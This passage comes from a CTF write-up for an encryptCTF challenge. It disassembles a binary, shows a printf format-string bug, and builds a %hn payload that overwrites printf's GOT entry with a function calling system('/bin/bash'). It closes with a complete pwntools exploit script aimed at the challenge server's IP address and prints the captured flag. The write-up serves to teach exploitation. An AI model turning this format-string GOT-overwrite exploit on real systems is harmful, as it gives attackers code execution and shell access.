 0x08048552 &lt;+1&gt;: mov    ebp,esp<br>   0x08048554 &lt;+3&gt;: and    esp,0xfffffff0<br>   0x08048557 &lt;+6&gt;: sub    esp,0xa0<br>   0x0804855d &lt;+12&gt;: mov    eax,gs:0x14<br>   0x08048563 &lt;+18&gt;: mov    DWORD PTR [esp+0x9c],eax<br>   0x0804856a &lt;+25&gt;: xor    eax,eax<br>   0x0804856c &lt;+27&gt;: mov    eax,ds:0x8049940<br>   0x08048571 &lt;+32&gt;: mov    DWORD PTR [esp+0xc],0x0<br>   0x08048579 &lt;+40&gt;: mov    DWORD PTR [esp+0x8],0x2<br>   0x08048581 &lt;+48&gt;: mov    DWORD PTR [esp+0x4],0x0<br>   0x08048589 &lt;+56&gt;: mov    DWORD PTR [esp],eax<br>   0x0804858c &lt;+59&gt;: call   0x8048430 &lt;setvbuf@plt&gt;<br>   0x08048591 &lt;+64&gt;: mov    DWORD PTR [esp],0x804868c<br>   0x08048598 &lt;+71&gt;: call   0x80483f0 &lt;puts@plt&gt; (1) **<br>   0x0804859d &lt;+76&gt;: lea    eax,[esp+0x1c]<br>   0x080485a1 &lt;+80&gt;: mov    DWORD PTR [esp],eax<br>   0x080485a4 &lt;+83&gt;: call   0x80483d0 &lt;gets@plt&gt; (2)**<br>   0x080485a9 &lt;+88&gt;: lea    eax,[esp+0x1c]<br>   0x080485ad &lt;+92&gt;: mov    DWORD PTR [esp],eax<br>   0x080485b0 &lt;+95&gt;: call   0x80483c0 &lt;printf@plt&gt; (3)**<br>   0x080485b5 &lt;+100&gt;: lea    eax,[esp+0x1c]<br>   0x080485b9 &lt;+104&gt;: mov    DWORD PTR [esp+0x4],eax<br>   0x080485bd &lt;+108&gt;: mov    DWORD PTR [esp],0x80486db<br>   0x080485c4 &lt;+115&gt;: call   0x80483c0 &lt;printf@plt&gt; (4)**<br>   0x080485c9 &lt;+120&gt;: mov    eax,0x0<br>   0x080485ce &lt;+125&gt;: mov    edx,DWORD PTR [esp+0x9c]<br>   0x080485d5 &lt;+132&gt;: xor    edx,DWORD PTR gs:0x14<br>   0x080485dc &lt;+139&gt;: je     0x80485e3 &lt;main+146&gt;<br>   0x080485de &lt;+141&gt;: call   0x80483e0 &lt;__stack_chk_fail@plt&gt;<br>   0x080485e3 &lt;+146&gt;: leave  <br>   0x080485e4 &lt;+147&gt;: ret    <br>End of assembler dump.</pre><p>Based on the disassembled main function, this is the overview of the program flow:<br>(1) puts() — prints the welcome banner</p><p>(2) gets() — asks for a user input</p><p>(3) printf() — this is where the exploit occurs</p><p>(4) printf() — prints the user input</p><p>Luckily, there is another built-in function called after the exploit occured. We can overwrite the GOT entry of printf() and wait for <strong>printf() (4) </strong>to be executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nhBy3vZvOOzdSR3-iw8rpA.png" /><figcaption>0x80498fc is the address of printf@got</figcaption></figure><p>We already have a plan on where to overwite, but we still need “what to write” and “how to write”.</p><p>Let’s proceed with what to write.</p><p>We need to look for useful functions on the binary using <strong>radare2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AGQCr-rbgEmfXRhdwX8dpQ.png" /><figcaption>0x0804853d is our <strong>win</strong> function!</figcaption></figure><p>Upon inspecting, I saw a function that executes “<strong>system(‘/bin/bash’)</strong>” @ <strong>0x0804853d</strong>. We can consider that as our <strong>WIN</strong> function!</p><p>Now, our last problem is how are we going to write <strong>0x0804853d </strong>to<strong> 0x80498fc.</strong></p><p>According to the resource link above, we can use “<strong>%n</strong>” to write an integer on a specific address. Using this technique, we can write the integer value of <strong>0x0804853d </strong>to<strong> 0x80498fc.</strong></p><p>A magic formula can be used to generate the payload for this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*cAoAY3_lvl2FPYktw2EB6g.png" /></figure><pre>HOB = <strong>0x10804</strong><br>LOB = <strong>0x853d</strong></pre><pre>addr = <strong>0x80498fc</strong></pre><pre>offset = ???</pre><p>We still lack the offset for this formula.</p><p>We can compute the offset by getting the position of our known input string on the leaked stack. Let’s try to enter the string “AAAA” and leak the stack at the same time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uc-tFdIDEML_huaf9uxSzQ.png" /><figcaption>Offset: 7</figcaption></figure><p>We got the offset at 7. The value of <strong>AAAA </strong>in hexadecimal is <strong>0x41414141 </strong>which gives us the offset value of 7.</p><p>The formula is now complete. Let’s build the payload.</p><pre>HOB = <strong>0x10804</strong><br>LOB = <strong>0x853d</strong></pre><pre>addr = <strong>0x80498fc</strong></pre><pre>offset = 7</pre><pre>payload = [<strong>0x80498fc </strong>+ 2][<strong>0x80498fc</strong>] + %.[<strong>0x10804</strong>-8]x%[7]$hn + %.[<strong>0x853d</strong>-<strong>0x0804</strong>]x%[7+1]$hn</pre><pre>payload = [<strong>0x80498fe][0x80498fc]</strong> + %.67580x%7$hn + %.32057x%8$hn</pre><p>Sending the payload to the remote server will result to this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQ0AwdWIYN3j1VtVBOQM8g.png" /><figcaption>We got a shell! :)</figcaption></figure><p>Flag: <strong>encryptCTF{Y0u_4R3_7h3_7ru3_King_0f_53v3n_KingD0ms}</strong></p><p>Sample exploit script:</p><pre>./exploit.py</pre><pre>from pwn import *</pre><pre>r = remote(&#39;104.154.106.182&#39;, 5678)</pre><pre>printf_got = 0x80498fc<br>win_addr = 0x0804853d</pre><pre>offset = 7</pre><pre># Overwrite printf GOT with win address<br># Payload structure<br># [addr + 2][addr] [0x10804 - 8][offset] [0x853d - 0x804][offset+1]</pre><pre>payload = &quot;&quot;<br>payload += p32(printf_got+2)<br>payload += p32(printf_got)<br>payload += &quot;%.67580x&quot;<br>payload += &quot;%{}$hn&quot;.format(offset)<br>payload += &quot;%.32057x&quot;<br>payload += &quot;%{}$hn&quot;.format(offset+1)</pre><pre>r.recvuntil(&#39;?&#39;)<br>log.info(&#39;Payload formula: [addr+2][addr] + %.[HOB-8]x%[offset]$hn + %.[LOB-HOB]x%[offset+1]$hn&#39;)<br>log.info(&#39;Sending payload...&#39;)<br>log.info(&#39;Writing {} to {} (printf GOT).&#39;.format(hex(win_addr), hex(printf_got)))</pre><pre>r.sendline(payload)<br>r.recvuntil(&#39;2&#39;)<br>log.info(&#39;Enjoy your shell. :)&#39;)<br>r.interactive()</pre><p>-</p><p>Thank you for reading. Hope you learned something from this write-up. Feel free to drop any comments on this one. ❤</p><p>— ar33zy</p><p><a href="https://hackstreetboys.ph/">hackstreetboys</a> aka [hsb] is a CTF team from the Philippines.</p><p>Please do like our <a href="https://www.facebook.com/hackstreetboys/">Facebook Page </a>and Follow us on <a href="https://twitter.com/_hackstreetboys">Twitter</a>, <a href="https://medium.com/hackstreetboys">Medium</a>, and <a href="https://github.com/hackstreetboysph">GitHub</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cf6509ab112" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>